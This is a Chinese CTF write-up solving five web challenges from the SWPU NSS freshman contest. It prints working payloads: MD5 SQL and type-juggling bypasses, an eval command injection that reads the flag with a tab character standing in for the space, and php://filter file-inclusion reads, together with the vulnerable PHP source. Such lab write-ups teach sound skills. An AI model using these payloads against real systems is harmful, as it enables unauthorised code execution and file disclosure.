【SWPU NSS新生赛校外通道】web:奇妙的MD5、whereami、webdog1__start、ez_ez_php、ez_ez_php(revenge)

【SWPU NSS新生赛校外通道】web:奇妙的MD5、whereami、webdog1__start、ez_ez_php、ez_ez_php(revenge)

1、奇妙的MD5

  1. 查看head,发现有md5绕过

【SWPU NSS新生赛校外通道】web:奇妙的MD5、whereami、webdog1__start、ez_ez_php、ez_ez_php(revenge)

  1. 这边有一个算是万能绕过的字符:ffifdyop,根据函数md5加密后,再次转换为字符串时,会变成’or’6,此时函数一定为真。(具体内容可以查一查md5($pass,true)函数)

输入后跳转页面

【SWPU NSS新生赛校外通道】web:奇妙的MD5、whereami、webdog1__start、ez_ez_php、ez_ez_php(revenge)

  1. 查看一下源码,存在一个MD5弱类型绕过,

数组绕过一下:/?x[]=1&y[]=2

【SWPU NSS新生赛校外通道】web:奇妙的MD5、whereami、webdog1__start、ez_ez_php、ez_ez_php(revenge)

【SWPU NSS新生赛校外通道】web:奇妙的MD5、whereami、webdog1__start、ez_ez_php、ez_ez_php(revenge)

  1. 跳转了页面,访问一下,md5强类型绕过

还是数组绕过就可以:wqh[]=1&dsy[]=2

然后就出flag了

【SWPU NSS新生赛校外通道】web:奇妙的MD5、whereami、webdog1__start、ez_ez_php、ez_ez_php(revenge)

【SWPU NSS新生赛校外通道】web:奇妙的MD5、whereami、webdog1__start、ez_ez_php、ez_ez_php(revenge)

2、whereami

  1. 这题,应该算是信息搜集吧,给了一张图,说是11位,应该是电话号码,百度识图一下:百度识图搜索结果

查到应该是在成都,锦江区的某个酒店吧,看一下图片的名字,我眼神不好,应该是古*酒店,百度搜索一下,应该是叫古迹酒店

  1. 查一下成都锦江区古迹酒店

【SWPU NSS新生赛校外通道】web:奇妙的MD5、whereami、webdog1__start、ez_ez_php、ez_ez_php(revenge)

  1. 尝试一下,电话号码,跳转页面,成功

【SWPU NSS新生赛校外通道】web:奇妙的MD5、whereami、webdog1__start、ez_ez_php、ez_ez_php(revenge)

3、webdog1__start

  1. 打开页面,查看源码,存在一个弱类型md5绕过,需要一个特殊值:0e215962017来进行绕过。

构造一下:?web=0e215962017

【SWPU NSS新生赛校外通道】web:奇妙的MD5、whereami、webdog1__start、ez_ez_php、ez_ez_php(revenge)

  1. 传值后跳转到下一个页面:

【SWPU NSS新生赛校外通道】web:奇妙的MD5、whereami、webdog1__start、ez_ez_php、ez_ez_php(revenge)

这地方没找到什么,只有一个能点击,应该是大佬的博客,页面跳转,应该不是题目内容了,所以抓个包看看

【SWPU NSS新生赛校外通道】web:奇妙的MD5、whereami、webdog1__start、ez_ez_php、ez_ez_php(revenge)

  1. 抓包后,在响应包里找到了一个页面,访问一下试试

【SWPU NSS新生赛校外通道】web:奇妙的MD5、whereami、webdog1__start、ez_ez_php、ez_ez_php(revenge)

  1. 访问后,又找到一个页面,继续访问

【SWPU NSS新生赛校外通道】web:奇妙的MD5、whereami、webdog1__start、ez_ez_php、ez_ez_php(revenge)

  1. 找到了一个php页面,应该也是一个绕过吧
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET['get'])){
    $get=$_GET['get'];
    if(!strstr($get," ")){
        $get = str_ireplace("flag", " ", $get);
        if (strlen($get)>18){
            die("This is too long.");
            }
            else{
                eval($get);
          } 
    }else {
        die("nonono"); 
    }
}
?>

分析一下,两个部分:第一个是strstr()函数,与str_ireplace()函数配合使用吧

Get值正常输入,没有问题,不能带flag,因为带flag会替换成空格,就不能过掉strstr()函数,也不能存在空格。

构造一下:?get=system(ls);

【SWPU NSS新生赛校外通道】web:奇妙的MD5、whereami、webdog1__start、ez_ez_php、ez_ez_php(revenge)

  1. 能运行命令,但是还有一条长度不能超过18,

构造语句:用%09能代替空格

看看根下,确实有flag

【SWPU NSS新生赛校外通道】web:奇妙的MD5、whereami、webdog1__start、ez_ez_php、ez_ez_php(revenge)

  1. 尝试构造语句,查看一下flag

语句:?get=system('nl%09/f*');

最后出flag

【SWPU NSS新生赛校外通道】web:奇妙的MD5、whereami、webdog1__start、ez_ez_php、ez_ez_php(revenge)

4、ez_ez_php

<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 3) === "php" ) {
        echo "Nice!!!";
        include($_GET["file"]);
    } 
    else {
        echo "Hacker!!";
    }
}else {
    highlight_file(__FILE__);
}
//flag.php

首先,访问一下flag.php,

【SWPU NSS新生赛校外通道】web:奇妙的MD5、whereami、webdog1__start、ez_ez_php、ez_ez_php(revenge)

  1. 尝试一下伪协议,这边还有一句real_flag_is_in_'flag'

所以构造一下:

http://url/?file=php://filter/read=convert.base64-encode/resource=flag

【SWPU NSS新生赛校外通道】web:奇妙的MD5、whereami、webdog1__start、ez_ez_php、ez_ez_php(revenge)

  1. 这边应该是base64,解密一下,出flag

【SWPU NSS新生赛校外通道】web:奇妙的MD5、whereami、webdog1__start、ez_ez_php、ez_ez_php(revenge)

5、ez_ez_php(revenge)

<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 3) === "php" ) {
        echo "Nice!!!";
        include($_GET["file"]);
    } 
    else {
        echo "Hacker!!";
    }
}else {
    highlight_file(__FILE__);
}
//flag.php

这边跟上一次,伪协议类似,看看flag.php

【SWPU NSS新生赛校外通道】web:奇妙的MD5、whereami、webdog1__start、ez_ez_php、ez_ez_php(revenge)

这次说是在/flag处,用伪协议

  1. 咱们直接搞:

http://url/?file=php://filter/read=convert.base64-encode/resource=/flag

【SWPU NSS新生赛校外通道】web:奇妙的MD5、whereami、webdog1__start、ez_ez_php、ez_ez_php(revenge)

  1. 还是base64解密,出flag

【SWPU NSS新生赛校外通道】web:奇妙的MD5、whereami、webdog1__start、ez_ez_php、ez_ez_php(revenge)

                       

点击阅读全文

上一篇 2023年 6月 9日 pm9:11
下一篇 2023年 6月 9日 pm9:12